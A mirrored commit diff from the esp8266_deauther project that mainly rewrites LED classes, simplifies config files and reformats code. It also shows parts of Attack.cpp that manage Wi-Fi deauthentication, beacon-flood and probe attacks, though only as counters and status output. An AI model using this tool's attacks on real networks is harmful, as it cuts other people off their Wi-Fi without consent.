mirror of
https://github.com/SpacehuhnTech/esp8266_deauther.git
synced 2025-12-22 07:10:51 -08:00
v2.0.6
Rewritten LED classes and simplified config files
This commit is contained in:
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -42,16 +38,6 @@
|
||||
#define LED_NEOPIXEL_NUM 12
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
|
||||
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -41,8 +37,6 @@
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -42,16 +38,6 @@
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
|
||||
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -42,16 +38,6 @@
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
|
||||
@@ -23,16 +23,12 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 2 // ESP-12 LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 16 // NodeMCU on-board LED
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
@@ -42,16 +38,6 @@
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
|
||||
|
||||
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -42,16 +38,6 @@
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
|
||||
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -42,16 +38,6 @@
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 4
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
|
||||
@@ -23,15 +23,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -40,18 +36,7 @@
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
// =========================== //
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
@@ -23,15 +24,11 @@
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
@@ -40,17 +37,7 @@
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
|
||||
// Parameter 1 = number of pixels in strip
|
||||
// Parameter 2 = Arduino pin number (most are valid)
|
||||
// Parameter 3 = pixel type flags, add together as needed:
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
@@ -86,5 +73,4 @@
|
||||
// #define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
||||
|
||||
#endif // ifndef config_h
|
||||
@@ -26,22 +26,23 @@ void Accesspoints::add(uint8_t id, bool selected) {
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
if (c == 0)
|
||||
prntln(AP_LIST_EMPTY);
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++)
|
||||
print(i, i == 0, i == c - 1);
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
@@ -56,6 +57,7 @@ void Accesspoints::print(int num) {
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
@@ -77,6 +79,7 @@ void Accesspoints::print(int num, bool header, bool footer) {
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDEN);
|
||||
} else {
|
||||
@@ -89,41 +92,55 @@ String Accesspoints::getSSID(int num) {
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
@@ -135,32 +152,38 @@ String Accesspoints::getSelectedStr(int num) {
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
@@ -198,31 +221,28 @@ void Accesspoints::remove(int num) {
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
for(int i=0;i<count();i++)
|
||||
list->replace(i,AP{list->get(i).id,true});
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
for(int i=0;i<count();i++)
|
||||
list->replace(i,AP{list->get(i).id,false});
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while(count() > 0)
|
||||
internal_remove(0);
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if(list->get(i).id == id)
|
||||
return i;
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
@@ -232,13 +252,15 @@ int Accesspoints::count() {
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
return list->count([](AP &a)->bool{
|
||||
return a.selected;
|
||||
});
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
@@ -259,4 +281,3 @@ void Accesspoints::internal_deselect(int num) {
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
|
||||
@@ -63,6 +63,7 @@ class Accesspoints {
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
@@ -72,7 +73,4 @@ class Accesspoints {
|
||||
void internal_remove(int num);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif // ifndef Accesspoints_h
|
||||
44
esp8266_deauther/AnalogRGBLED.cpp
Normal file
44
esp8266_deauther/AnalogRGBLED.cpp
Normal file
@@ -0,0 +1,44 @@
|
||||
#include "AnalogRGBLED.h"
|
||||
|
||||
AnalogRGBLED::AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode) {
|
||||
AnalogRGBLED::anode = anode;
|
||||
AnalogRGBLED::rPin = rPin;
|
||||
AnalogRGBLED::gPin = gPin;
|
||||
AnalogRGBLED::bPin = bPin;
|
||||
setBrightness(brightness);
|
||||
}
|
||||
|
||||
AnalogRGBLED::~AnalogRGBLED() {}
|
||||
|
||||
void AnalogRGBLED::setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||
|
||||
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||
|
||||
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||
}
|
||||
|
||||
void AnalogRGBLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
if ((r > 0) && (brightness < 100)) r = r * brightness / 100;
|
||||
|
||||
if ((g > 0) && (brightness < 100)) g = g * brightness / 100;
|
||||
|
||||
if ((b > 0) && (brightness < 100)) b = b * brightness / 100;
|
||||
|
||||
if (anode) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(rPin, r);
|
||||
analogWrite(gPin, g);
|
||||
analogWrite(bPin, b);
|
||||
}
|
||||
|
||||
void AnalogRGBLED::setBrightness(uint8_t brightness) {
|
||||
if (brightness > 100) brightness = 100;
|
||||
AnalogRGBLED::brightness = brightness;
|
||||
}
|
||||
23
esp8266_deauther/AnalogRGBLED.h
Normal file
23
esp8266_deauther/AnalogRGBLED.h
Normal file
@@ -0,0 +1,23 @@
|
||||
#ifndef AnalogRGBLED_H
|
||||
#define AnalogRGBLED_H
|
||||
|
||||
#include "StatusLED.h"
|
||||
|
||||
class AnalogRGBLED : public StatusLED {
|
||||
public:
|
||||
AnalogRGBLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, uint8_t brightness, bool anode);
|
||||
~AnalogRGBLED();
|
||||
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
|
||||
private:
|
||||
bool anode = true;
|
||||
uint8_t rPin = 255;
|
||||
uint8_t gPin = 255;
|
||||
uint8_t bPin = 255;
|
||||
uint8_t brightness = 0;
|
||||
};
|
||||
#endif // ifndef AnalogRGBLED_H
|
||||
@@ -37,7 +37,8 @@ void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool ou
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
//if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && scan.countSelected() > 0)){
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
@@ -74,7 +75,7 @@ bool Attack::isRunning() {
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if (timeout > 0 && currentTime - attackStartTime >= timeout) {
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
@@ -82,8 +83,10 @@ void Attack::updateCounter() {
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.count() + stations.count()*2 - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() * (accesspoints.selected() + stations.selected()*2 + names.selected() + names.stations());
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
@@ -91,6 +94,7 @@ void Attack::updateCounter() {
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
@@ -120,15 +124,22 @@ void Attack::updateCounter() {
|
||||
|
||||
void Attack::status() {
|
||||
char s[120];
|
||||
sprintf(s, str(A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts);
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
